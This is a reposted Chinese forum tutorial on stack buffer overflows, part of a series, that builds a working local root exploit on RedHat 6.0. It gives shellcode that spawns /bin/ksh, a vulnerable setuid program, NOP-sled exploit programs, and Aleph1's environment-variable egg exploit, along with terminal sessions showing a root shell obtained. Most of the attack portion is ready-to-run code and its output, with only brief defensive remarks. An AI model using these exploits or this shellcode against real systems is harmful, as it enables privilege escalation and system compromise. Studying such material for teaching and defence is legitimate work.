缓冲溢出分析5--做自己的shellcode 3

来源:互联网 发布:java大型oa系统源码 编辑:程序博客网 时间:2024/05/18 03:26
发信人: sound (桑德), 信区: SECURITY
标  题: 缓冲溢出分析5--做自己的shellcode 3
发信站: 碧海青天 (Mon Jan  1 00:42:07 2001) , 转信

shellcode技术探讨续二

发布日期: 2000-1-25 
内容:
----------------------------------------------------------------------
----------
 

来源:<>


概述:

    本文给出一个完整的利用缓冲区溢出取得root shell的
    示例,只要你照着步骤一步步下来,就不会觉得它的神秘,
    而我的意图正在于此。如果看不明白什么地方,可以在这里
    提问,mail to: ,或者到绿色兵团的
    Unix安全论坛上提问,tt在那里。水木清华97年以前就大范
    围高水平讨论过缓冲区溢出,你没赶上只能怪自己生不逢时。

测试:

    RedHat 6.0/Intel PII

目录:

    1.  先来看一次缓冲区溢出
    2.  研究这个溢出
    3.  修改代码加强理解
    4.  进一步修改代码
    5.  还想到什么
    6.  堆栈可执行
    7.  一个会被缓冲区溢出攻击的程序例子
    8.  利用缓冲区溢出取得shell
    9.  分析取得shell失败的原因
    10. 危险究竟在于什么
    11. 待溢出缓冲区不足以容纳shellcode时该如何溢出
    12. 总结与思考

1. 先来看一次缓冲区溢出

vi shelltest.c

/* 这是原来的shellcode */
/*
char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
*/

/* 这是我们昨天自己得到的shellcode */
char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
    "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[128]; 

int main ()

    char   buffer[96]; 
    int    i; 
    long * long_ptr = ( long * )large_string; 

    for ( i = 0; i < 32; i++ ) 
    {
        /* 用buffer地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )buffer;
    }
    for ( i = 0; i < strlen( shellcode ); i++ ) 
    {
        large_string[ i ] = shellcode[ i ];
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
}

gcc -o shelltest shelltest.c
./shelltest
exit

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码 
放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢
 
出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试图从 
main()中返回时,就会转而执行shell。这段代码的shellcode应该是在堆栈之中
.

典型的存储器的安排应该是

高地址-------命令行参数和环境变量

                    栈
                   
                    堆
                    
                未初始化数据(有exec付初始值0)
                
                初始话数据(由exec从程序文件中读入)
                
低地址-----------正文段(同初始化数据段)   

scz注:原文有误,不是试图从strcpy()返回,而是试图从main()返回,必须
       区别这两种说法。

2. 研究这个溢出

在shellcode后面大量追加buffer指针,这是程序的关键所在,只有这样才能
使得buffer指针覆盖返回地址。其次,返回地址是四字节四字节来的,所以
在程序中出现的128和96不是随便写的数字,这些4的整数倍的数字保证了
在strcpy()调用中能恰好对齐位置地覆盖掉返回地址,否则前后一错位就
不是那么回事情了。

要理解程序的另外一个关键在于,堆是位于代码下方栈上方的。所以buffer
的溢出只会朝栈底方向前进,并不会覆盖掉main()函数本身的代码,也是附和
操作系统代码段只读要求的。不要错误地怀疑main()函数结束处的ret语句会
被覆盖,切记这点。很多阅读该程序的兄弟错误地认为buffer位于代码段中,
于是一路覆盖下来破坏了代码本身,昏倒。

3. 修改代码加强理解

我们先只做一个修改:

    for ( i = 0; i < 32; i++ ) 
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }

返回地址被覆盖成shellcode指针,同样达到了取得shell的效果。

4. 进一步修改代码

char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
    "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[128]; 

int main ()

    char   buffer[96]; 
    int    i; 
    long * long_ptr = ( long * )large_string; 

    for ( i = 0; i < 32; i++ ) 
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
}

啊哈,还是达到了效果。完全没有必要把shellcode拷贝到buffer中来嘛,定义
buffer的唯一作用就是利用获得堆指针进而向栈底进行覆盖,达到覆盖返回地址
的效果。

5. 还想到什么

既然buffer本身一钱不值,为什么要定义那么大,缩小它!

char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
    "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[12];  /* 修改 */

int main ()

    char   buffer[4];  /* 修改 */
    int    i; 
    long * long_ptr = ( long * )large_string; 

    for ( i = 0; i < 3; i++ )  /* 修改 */
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
}

打住,再修改就失去研究的意义了。

6. 堆栈可执行

在这里我们需要解释一个概念,什么叫堆栈可执行。
按照上述第1条目中给出的代码,实际上shellcode进入了堆区甚至栈区,
最终被执行的是堆栈中的数据,所谓堆栈可执行,大概是说允许堆栈中
的数据被作为指令执行。之所以用大概这个词,因为我自己对保护模式
汇编语言不熟悉,不了解具体细节,请熟悉的兄弟再指点。许多操作系
统可以设置系统参数禁止把堆栈中的数据作为指令执行,比如solaris
中可以在/etc/system中设置:

* Foil certain classes of bug exploits
set noexec_user_stack = 1

* Log attempted exploits
set noexec_user_stack_log = 1

Linux下如何禁止堆栈可执行我也没仔细看过相关文档,谁知道谁就说
一声吧。

按照上述第3条目及其以后各条目给出的代码,实际上执行了位于数据段
.data中的shellcode。我不知道做了禁止堆栈可执行设置之后,能否阻止
数据段可执行?谁了解保护模式汇编,给咱们讲讲。

即使这些都被禁止了,也可以在代码段中嵌入shellcode,代码段中的
shellcode是一定会被执行的。

可是,上面的讨论忽略了一个重要前提,我们要溢出别人的函数,而
不是有源代码供你修改的自己的函数。在这个前提下,我们最可能利用的
就是第一种方式了,明白?

7. 一个会被缓冲区溢出攻击的程序例子

我们仅仅明白了如何利用缓冲区溢出修改函数的返回地址而已。可前面修改的
是我们自己的main()函数返回地址,没有用。仔细想想,如果执行一个suid了
的程序,该程序的main()函数实现中有下述代码:

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] ) 
{
    char buffer[ 16 ] = "";
    if ( argc > 1 )
    {
        strcpy( buffer, argv[1] );
        puts( buffer );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

[scz@ /home/scz/src]> ./overflow 0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghij
0123456789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijk
0123456789abcdefghijk
BUG IN DYNAMIC LINKER ld.so: dl-runtime.c: 61: fixup: Assertion `((rel
oc->r_info) & 0xff) == 7' failed!
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijkl
0123456789abcdefghijkl
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb overflow
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"..
(gdb) target core core < -- -- -- 调入core文件
Core was generated by `./overflow 0123456789abcdefghijkl'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x40006c79 in _dl_load_cache_lookup (name=Cannot access memory at 
address 0x6a69686f.
) at ../sysdeps/generic/dl-cache.c:202
../sysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach < -- -- -- 卸掉core文件
No core file now.
(gdb) 

8. 利用缓冲区溢出取得shell

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE    256
#define DEFAULT_OFFSET 64

unsigned long get_esp ()

    __asm__
    ("
        movl %esp, %eax
    ");


int main ( int argc, char * argv[] )
{

    char shellcode[] = 
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\
x0b"
        "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\
xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

    char *          buffer   = 0;
    unsigned long * pAddress = 0; 
    char *          pChar    = 0;
    int             i; 
    int             offset   = DEFAULT_OFFSET;

    buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
    if ( buffer == 0 )
    {
        puts( "Can't allocate memory" );
        exit( 0 );
    } 
    pChar = buffer;
    /* fill start of buffer with nops */
    memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
    pChar += ( BUFFER_SIZE - strlen( shellcode ) ); 
    /* stick asm code into the buffer */ 
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        *( pChar++ ) = shellcode[ i ];
    }
    pAddress = ( unsigned long * )pChar;
    for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
    {
        *( pAddress++ ) = get_esp() + offset;
    }
    pChar  = ( char * )pAddress;
    *pChar = 0; 
    execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer,
 0 );
    return 0;
}

程序中get_esp()函数的作用就是定位堆栈位置。首先分配一块内存buffer,然后
在buffer的前面部分
填满NOP,后面部分放shellcode。最后部分是希望程序返回的地址,由栈顶指针
加偏移得到。当以buffer
为参数调用overflow时,将造成overflow程序的缓冲区溢出,其缓冲区被buffer
覆盖,而返回地址将指向
NOP指令。

[scz@ /home/scz/src]> gcc -o overflow_ex overflow_ex.c
[scz@ /home/scz/src]> ./overflow_ex
... ...
.../bin/ksh...
... ...
Segmentation fault (core dumped)
[scz@ /home/scz/src]> 

失败,虽然发生了溢出,却没有取得可以使用的shell。

9. 分析取得shell失败的原因

条目7中给出的源代码表明overflow.c只提供了16个字节的缓冲区,
按照我们前面讨论的溢出技术,overflow_ex导致overflow的main()函数的返回地
址被0x90覆盖,
没有足够空间存放shellcode。

让我们对overflow.c做一点小小的调整以迁就overflow_ex.c的成功运行:

old:    char buffer[ 16 ] = "";
new:    char buffer[ 256 ] = "";

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
$ exit < -- -- -- 取得了shell
[scz@ /home/scz/src]> 

10. 危险究竟在于什么

假设曾经发生过这样的操作:

[root@ /home/scz/src]> chown root.root overflow
[root@ /home/scz/src]> chmod +s overflow
[root@ /home/scz/src]> ls -l overflow
-rwsr-sr-x   1 root     root overflow
[root@ /home/scz/src]>

好了,麻烦就是这样开始的:

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
# id < -- -- -- 你得到了root shell,看看你是谁吧
uid=500(scz) gid=100(users) euid=0(root) egid=0(root) groups=100(users
)
                            ~~~~~~~~~~~~~~~~~~~~~~~~~ 昏倒
# exit
[scz@ /home/scz/src]> id
uid=500(scz) gid=100(users) groups=100(users)
[scz@ /home/scz/src]> 

至此你应该明白如何书写自己的shellcode,如何辨别一个shellcode是否
真正是在提供shell而不是木马,什么是缓冲区溢出,究竟如何利用缓冲区
溢出,什么情况下的缓冲区溢出对攻击者非常有利,suid/sgid程序的危险
性等等。于是你也明白了,为什么某些exploit出来之后如果没有补丁,
一般都建议你先chmod -s,没有什么奇怪,虽然取得shell,但不是
root shell而已。

11. 待溢出缓冲区不足以容纳shellcode时该如何溢出

vi overflow.c

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] ) 
{
    char buffer[ 9 ] = "";
    if ( argc > 1 )
    {
        strcpy( buffer, argv[1] );
        puts( buffer );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

---------------------------------------

vi overflow_ex.c

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE    256

/* 取栈基指针 */
unsigned long get_ebp ()

    __asm__
    ("
        movl %ebp, %eax
    ");


int main ( int argc, char * argv[] )
{

    char shellcode[] = 
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\
x0b"
        "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\
xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

    char *          buffer   = 0;
    unsigned long * pAddress = 0; 
    char *          pChar    = 0;
    int             i; 

    buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
    if ( buffer == 0 )
    {
        puts( "Can't allocate memory" );
        exit( 0 );
    } 
    pAddress = ( unsigned long * )buffer;
    for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
    {
        *( pAddress++ ) = get_ebp() + BUFFER_SIZE;
    }
    pChar = buffer + BUFFER_SIZE;
    /* fill start of buffer with nops */
    memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
    pChar += ( BUFFER_SIZE - strlen( shellcode ) ); 
    /* stick asm code into the buffer */ 
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        *( pChar++ ) = shellcode[ i ];
    }
    *pChar = 0; 
    execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer,
 0 );
    return 0;
}

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- 返回地址的汉字显示
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh... < -- -- -- shellcode的汉字显示
$ exit < -- -- -- 溢出成功,取得shell
[scz@ /home/scz/src]>

warning3注:对于简单的弱点程序,这种方法是可行的.不过如果问题
函数有很多参数,并且这些参数在strcpy()之后还要使用的话,这种方
法就很难成功了.
例如:
vulnerable_func(arg1,arg2,arg3)
{
char *buffer[16];
...
strcpy(buffer,arg1);
...
other_func(arg2);
...
other_func(arg3);
...
}
如果直接覆盖,就会导致arg1,arg2,arg3也被覆盖,函数就可能不能正常返回.

Aleph1的办法是将shellcode放到环境变量里传递给有弱点的函数,用环境变量
的地址做为返回地址,这样我们可以只用24个字节的buffer来覆盖掉返回地址,
而不需要改动参数.

完全避免修改任何参数是不可能的,即使用24个字节覆盖,最后的终止字符('\0')
仍然会修改第一个参数的最后一个字节.不过这种方法仍然有它的可取的地方,不
用为buffer的大小考虑太多,环境变量可以设的比较大只要用NOP填充,后面跟着
shellcode就行了.
下面这个overflow.c我稍微改了改,ex.c是从Aleph1的文章里摘出来的.
你可以在 http://www.phrack.com/search.phtml?view&article=p49-14
看到全文,比较长,我就不贴在这里了

[tt@hell tt]$ ./overflow `perl -e 'print "A"x15'`
AAAAAAAAAAAAAAA
[tt@hell tt]$ ./overflow `perl -e 'print "A"x16'`
AAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[tt@hell tt]$ ./ex1
Using address: 0xbffffd38

bash$ exit

/* gcc -o overflow overflow.c */
int func ( char * ptr )
  {
    char buffer[ 16 ] = "";
    strcpy( buffer, ptr );
    puts( ptr );
    return 0;
  } 
  
int main ( int argc, char * argv[] ) 
{
    if ( argc > 1 )
    {
        func( argv[1] );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

/* gcc -o ex ex.c */

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE              24
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
  char *buffer, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buffer = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
  }

  addr = get_esp() - offset;//why ? 环境变量在栈的高地址方向啊, 用esp-
offset不是向低地址去了吗?
  printf("Using address: 0x%x\n", addr);

  ptr = buffer;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  execl( "/home/tt/overflow", "overflow", buffer, 0 );

}

12. 总结与思考

    上面这些例子本身很简单,完全不同于那些极端复杂的溢出例子。但无论多

    复杂,其基本原理是一样的。要完成取得root shell的缓冲区攻击:

    a. 有一个可以发生溢出的可执行程序,各种Mail List会不断报告新发现的
可供
       攻击的程序;自己也可以通过某些低级调试手段获知程序中是否存在容易
发生
       溢出的函数调用,这些调试手段不属于今天讲解范畴,以后再提。
    b. 该程序是root的suid程序,用ls -l确认。
    c. 普通用户有适当的权限运行该程序。
    d. 编写合理的溢出攻击程序,shellcode可以从以前成功使用过的例子中提
取。
    e. 要合理调整溢出程序,寻找(或者说探测)main()函数的返回地址存放点,
找到
       它并用自己的shellcode地址覆盖它;这可能需要很大的耐心和毅力。

    从这些简单的示例中看出,为了得到一个可成功运行的exploit,攻击者们付
出过太
    多心血,每一种技术的产生和应用都是各种知识长期积累、自己不断总结、
大家群策
    群力的结果,如果认为了解几个现成的bug就可以如何如何,那是种悲哀。

后记:

    颠峰时刻的水木清华的确不是其他站点可以大范围超越的,尽管在某些个别
版面上
    存在着分庭抗礼。如果你想了解系统安全,应该从水木清华 Hacker 版98.6
以前的
    所有精华区打包文件开始,那些旧日的讨论和技术文章在现在看来也值得初
学者仔
    细研读。

    文章的宗旨并不是教你进行实际破坏,但你掌握了这种技术,或者退一步,
了解过这
    种技术,对于狂热爱好计算机技术的你来说,不是什么坏事。也许在讨论它
们的时候,
    某些人企图阻止过你了解它们,或者当你想了解它们的时候,有人给你带来
过不愉快
    的感受,忘记这些人,just do it! 只是你还应该明白一些事实,看过<<这
个杀手不
    太冷>>没有,no children、no women,我想说的不是这个,但你应该明白我
想说什么。
    Good luck for you.
原创粉丝点击